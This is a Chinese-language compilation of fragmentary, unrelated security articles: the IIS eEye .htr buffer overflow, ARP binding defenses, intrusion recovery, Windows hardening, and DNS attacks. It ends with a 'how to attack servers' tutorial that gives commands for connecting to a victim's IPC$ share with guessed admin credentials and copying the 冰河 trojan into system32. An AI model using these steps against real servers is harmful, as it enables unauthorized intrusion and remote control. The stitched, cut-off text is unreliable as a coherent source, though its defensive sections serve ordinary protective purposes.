4.0并带有\"Service Pack 3/4/5\"的Windows NT服务器 Microsoft IIS缓冲区溢出这一安全弱点是Web服务器无时不有的重大缺陷 之一。该弱点被称为IIS eEye，这个名称来自发现此问题的一个小组。在实施缓冲 区溢出攻击时，黑客向目标程序或服务输入超出程序处理能力的数据，导致程序突 然终止。另外，还可以通过设置，在执行中的程序终止运行前，用输入的内容来覆 盖此程序的某些部分，这样就可以在服务器的安全权限环境下执行任意黑客命令。 eEye发现，IIS用来解释HTR文件的解释程序是ism.dll，它对缓冲区溢出攻 击的抵抗力十分脆弱。如果攻击者将一个以.htr结尾的超长文件名（大约3,000个字符，或更多）传递给IIS，那么输入值将在ism.dll中造成输入缓冲区溢出，并导致IIS崩溃。如果攻击者输入的不是一串字母而是可执行代码（通常称为\"鸡蛋\"或\ "外壳代码\"），那么在IIS终止之前将执行该代码。由eEye小组发现的这一攻击方 法包括三个步骤： １．创建一个用于侦听任意TCP端口上连接活动的程序。一旦接收到连接信号，该程序将执行一个Windows命令外壳程序(cmd.exe)，并将该外壳与连接绑定在一起。这个程序是经过修改的Netcat。Netcat是一个流行的网络连接实用程序，其源代码
如何防止局域网内erp攻击
方式一 路由器开始： 取消DHCP服务(禁止自动分配局域网IP)，手动设置网关IP 和 DNS服务器。 电脑上面我们要手动设置本机IP地址、网关IP地址和DNS服务器地址。 静态绑定路由器，我们用ARP命令。 开始运行输入 cmd,在命令行下输入：arp -a 查看arp 信息，记下网关IP 和网关MAC信息 在命令行下输入：arp -s 192.168.1.1 00-0a-eb-d9-04-6a 回车就实现了静态绑定。 如果绑定错误了，可以用arp -d IP 删除绑定。 假设192.168.1.1就是网关的IP，00-0a-eb-d9-04-6a 就是网关的MAC地址，注意中间用空格连接。 我们再用 arp -a 来查看一下，如果Type类型为static表示是静态添加成功。 我们还可以把arp -s 192.168.1.1 00-0a-eb-d9-04-6a 用文本保存为 NoArp.bat 批处理文件，以后直接双击这个文件就可以执行静态绑定命令，重新建立映射关系恢复和网关的通信。 方式2： 在自己能控制路由的情况下做。 路由器里设置静态IP/MAC绑定： 打开路由器→DHCP服务器→静态地址分配→把每个人的IP地址和对应的MAC 物理地址填上去→保存！！ 然后重启路由. 注：局域网内的每台计算机需设置固定IP地址。设置IP地址可以在：网上邻居[右键--属性]→双击打开本地连接→属性→Internet 协议（TCP/IP）→属性！里设置
IP地址与网卡的MAC地址绑定，将绑定记录保存在路由器。一旦局域网中哪台计算机的IP，与路由器上对应的MAC地址不一致，就断网。 MAC地址可以在：网上邻居[右键--属性]→双击打开本地连接→选择“支持”选项卡--点“详细信息”按钮。
服务器被入侵后的紧急补救方法
服务器被入侵后的紧急补救方法
服务器被入侵后的紧急补救方法 攻击者入侵某个系统，总是由某个主要目的所驱使的。例如炫耀技术，得到企业机密数据，破坏企业正常的业务流程等等，有时也有可能在入侵后，攻击者的攻击行为，由某种目的变成了另一种目的，例如，本来是炫耀技术，但在进入系统后，发现了一些重要的机密数据，由于利益的驱使，攻击者最终窃取了这些机密数据。 而攻击者入侵系统的目的不同，使用的攻击方法也会不同，所造成的影响范围和损失也就不会相同。因此，在处理不同的系统入侵事件时，就应当对症下药，不同的系统入侵类型，应当以不同的处理方法来解决，这样，才有可能做到有的放矢，达到最佳的处理效果。 一、以炫耀技术为目的的系统入侵恢复 有一部分攻击者入侵系统的目的，只是为了向同行或其他人炫耀其高超的网络技术，或者是为了实验某个系统漏洞而进行的系统入侵活动。对于这类系统入侵事件，攻击者一般会在被入侵的系统中留下 一些证据来证明他已经成功入侵了这个系统，有时还会在互联网上的某个论坛中公布他的入侵成果，例如攻击者入侵的是一台 WEB服务器，他们就会通过更改此WEB站点的首页信息来说明自己已经入侵了这个系统，或者会通过安装后门的方式，使被入侵的系统成他的肉鸡，然后公然出售或在某些论坛上公布，以宣告自己已经入侵了某系统。也就是说，我们可以将这种类型的系统入侵再细分为以控制系统为目的的系统入侵和修改服务内容为目的的系统入侵。 对于以修改服务内容为目的的系统入侵活动，可以不需要停机就可改完成系统恢复工作。 1.应当采用的处理方式 (1)、建立被入侵系统当前完整系统快照，或只保存被修改部分的快照，以便事后分析和留作证据。 (2)、立即通过备份恢复被修改的网页。 (3)、在Windows系统下，通过网络监控软件或“netstat -an”命令来查看系统目前的网络连接情况，如果发现不正常的网络连接，应当立即断开与它的连接。然后通过查看系统进程、服务和分析系统和服务的日志文件，来检查系统攻击者在系统中还做了什么样的操作，以便做相应的恢复。 (4)、通过分析系统日志文件，或者通过弱点检测工具来了解攻击者入侵系统所利用的漏洞。如果攻击者是利用系统或网络应用程序的漏洞来入侵系统的，那么，就应当寻找相应的系统或应用程序漏洞补丁来修补它，如果目前还没有这些漏洞的相关补丁，我们就应当使用其它的手段来暂时防范再次利用这些漏洞的入侵活动。如果攻击者是利用其它方式，例如社会工程方式入侵系统的，而检查系统中不存在新的漏洞，那么就可以不必做这一个步骤，而必需对社会工程攻击实施的对象进行了解和培训。
服务器安全基础知识系列(一)防范黑客的简单办法
昨天，公司的一台服务器又中病毒了，害得我昨天杀了一晚上得毒，今天到网上查找了一下安全相关的资料，特与大家分享一下。 一、计算机的设置 1.关闭“文件和打印共享” 文件和打印共享应该是一个非常有用的功能，但在不需要它的时候，也是黑客入侵的很好的安全漏洞。所以在没有必要“文件和打印共享”的情况下，我们可以将它关闭。用鼠标右击“网络邻居”，选择“属性”，然后单击“文件和打印共享”按钮，将弹出的“文件和打印共享”对话框中的两个复选框中的钩去掉即可。虽然“文件和打印共享”关闭了，但是还不能确保安全，还要修改注册表，禁止它人更改“文件和打印共享”。打开注册表编辑器，选择 主键，在该主键下新建DWORD类型的键值，键值名为“NoFileSharingControl”，键值设为“1”表示禁止这项功能，从而达到禁止更改“文件和打印共享”的目的；键值为“0”表示允许这项功能。这样在“网络邻居”的“属性”对话框中“文件和打印共享”就不复存在了。 2.把Guest账号禁用 有很多入侵都是通过这个账号进一步获得管理员密码或者权限的。如果不想把自己的计算机给别人当玩具，那还是禁止的好。打开控制面板，双击“用户和密码”，单击“高级”选项卡，再单击“高级”按钮，弹出本地用户和组窗口。在Guest账号上面点击右键，选择属性，在“常规”页中选中“账户已停用”。另外，将Administrator账号改名可以防止黑客知道自己的管理员账号，这会在很大程度上保证计算机安全。 3.禁止建立空连接 在默认的情况下，任何用户都可以通过空连接连上服务器，枚举账号并猜测密码。因此，我们必须禁止建立空连接。方法是修改注册表：打开注册表 将DWORD值“RestrictAnonymous”的键值改为“1”即可。 二、隐藏IP地址 黑客经常利用一些网络探测技术来查看我们的主机信息，主要目的就是得到网络中主机的IP地址。IP地址在网络安全上是一个很重要的概念，如果攻击者知道了你的IP地址，等于为他的攻击准备好了目标，他可以向这个IP发动各种进攻，如DoS( 拒绝服务)攻击、Floop溢出攻击等。隐藏IP地址的主要方法是使用代理服务器。与直接连接到Internet相比，使用代理服务器能保护上网用户的IP地址，从而保障上网安全。代理服务器的原理是在客户机（用户上网的计算机）和远程服务器（如用户想访问远端WWW服务器）之间架设一个“中转站”，当客户机向远程服务器提出服务要求后，代理服务器首先截取用户的请求，然后代理服务器将服务请求转交远程服务器，从而实现客户机和远程服务器之间的联系。很显然，使用代理服务器后，其它用户只能探测到代理服务器的IP地址而不是用户的IP地址，这就实现了隐藏用户IP地址的目的，保障了用户上网安全。提供免费代理服务器的网站有很多，你也可以自己用代理猎手等工具来查找。 三、关闭不必要的端口
常见的域名服务器攻击‘手段’
常见的域名服务器攻击‘手段’ （山东新华电脑学院整理供稿） 如果负责转换的域名服务器遭受攻击，就会直接导致互联网用户无法使用互联网，因此保证DNS服务器的安全运行是网络安全与正常运行的关键，本文主要为大家介绍几点常见的域名服务器攻击‘手段’，有兴趣的朋友们就来了解下吧 从‘阿帕网’逐渐到今日的互联网，是质的蜕变，时间虽短暂，功勋卓卓。随着Interner的到 来，信息技术像脱缰的野马，一发不可收势。 促进着经济发展与社会的进步，成为人类的‘核心’。人类对网络的依赖使其越来越有价值， 而域名解析服务系统【Domain name resolution ，简称DNS】则是网络服务中最为重要的 一项服务，它将‘天书’一样的IP地址转换成易于记忆的域名。 如果负责转换的域名服务器遭受攻击，产生虚假DNS信息，就会直接导致互联网用户无法 使用互联网，甚至网站会被攻击、信息被篡改，因此保证DNS服务器的安全运行是网络安 全与正常运行的关键。 域名服务器受到安全攻击或者被入侵者控制时，入侵者可以随意篡改DNS的记录信息，它 向所授权范围的客户机提供域名服务时，所有的信息变为不可靠信息，客户机的信息资源就可能被黑客截取和破坏； 当一台机器查询IP地址为本地非授权范围内时，本地域名服务器提供迭代解析，如果在解 析过程中，初始条件已被黑客修改，则解析结果出错； 当域名服务器的高速缓存缓存了无效数据，而该数据将在高速缓存中保留相当一段时间，因 而导致查询结果错误，这些攻击会使得整个网络产生无效数据，破坏网络完整性。 如果一个域名服务器允许远程主机箱它查询其它域【本身不管理这些域】的域名，也就是允 许递归查询，就可能导致网络流量的异常增大，单个主机引起的流量增大可能并不能导致拒 绝服务器攻击的产生。 但是利用DNS的分级方式的弱点，当域名服务器接收到一个域名解析请求时，它往往会转 发给上一级的DNS服务器，如果这个查询请求不能被解析，因为其权限域名服务器上没有 启动DNS服务或是没有应答，每个转发的服务器将会试图自己解析，通常会重复解析三次 【分别在0秒，12秒，24秒时】甚至更多。 在这种情况下，该域名所在网络的流量明显增大，通过使用大量的域名服务器做这种查询， 可能导致向目标网络发送大量数据，造成拒绝服务器攻击。
如何攻击服务器
（一）：shed.exe （二）流光2000 （三）cmd.exe (其实就是２０００下的dos啦)！ （四）冰河8.4 *作系统：win2000 server 或者winxp系统。“shed.exe”:其实就是 用来网上查共享资源的，速度快，可以查到很多服务断的共项文件，不过在这里面有 些ｉｐ在浏览器中无法访问，这是因为其中也包含了个人上网的ｉｐ．呵呵！一些作 网站，网吧的服务器一些目录都是共享的，有些是可以访问，但是不能删除，因为你 所访问的都是以匿名访问的，所以权限不够！有些需要密码。遇到密码怎办？用流光！“流光”虽说对202作了限制，但是对小*本的ip可是没有限制的，呵呵！所以说使 用流光的ipc探测，建立一个空对话，查到用户列表，然后先简单探测，此时有些网管懒惰，把administrator设置的过于简单，呵呵，你就可以抓到了。 下一步如何做呢？也许在你查对方的端口时发现对方开的端口很少，比如ftp没开，怎办呢？冰河！“冰河”，想必许多朋友都玩过，使用冰河控制一台服务器速度很快，（因为服务器那边带宽很大）几分钟就可以查到对方主机的主页所在位置。但是如何 上传并且控制他呢？“cmd.exe”是２０００下的ｄｏｓ了，执行cmd.exe 使用net 命令， 具体*作如下： 第一步：net use \\ip\ipc$“password” /user:”user”说明：以一个超级用户名与你想黑的网站建立联接，当然超级用户必须是该网站admin里的。这里的”ip”就是 主机了，“password”就是超级用户的密码，“user”就是超级用户。比如：net use \\210.248.250.2\ipc$ “maozhiie” /user:"maozhijie" 第二步：copy g-server.exe \\ip\admin$\system32 说明：g-server.exe就是冰河的远 程服务器端。意义：将此文件拷贝到对方的主机winnt里的system32目录里。也许有人要问木马侵入对方那边可以察觉出来的吧，呵呵！装了防火墙估计可以，不过很多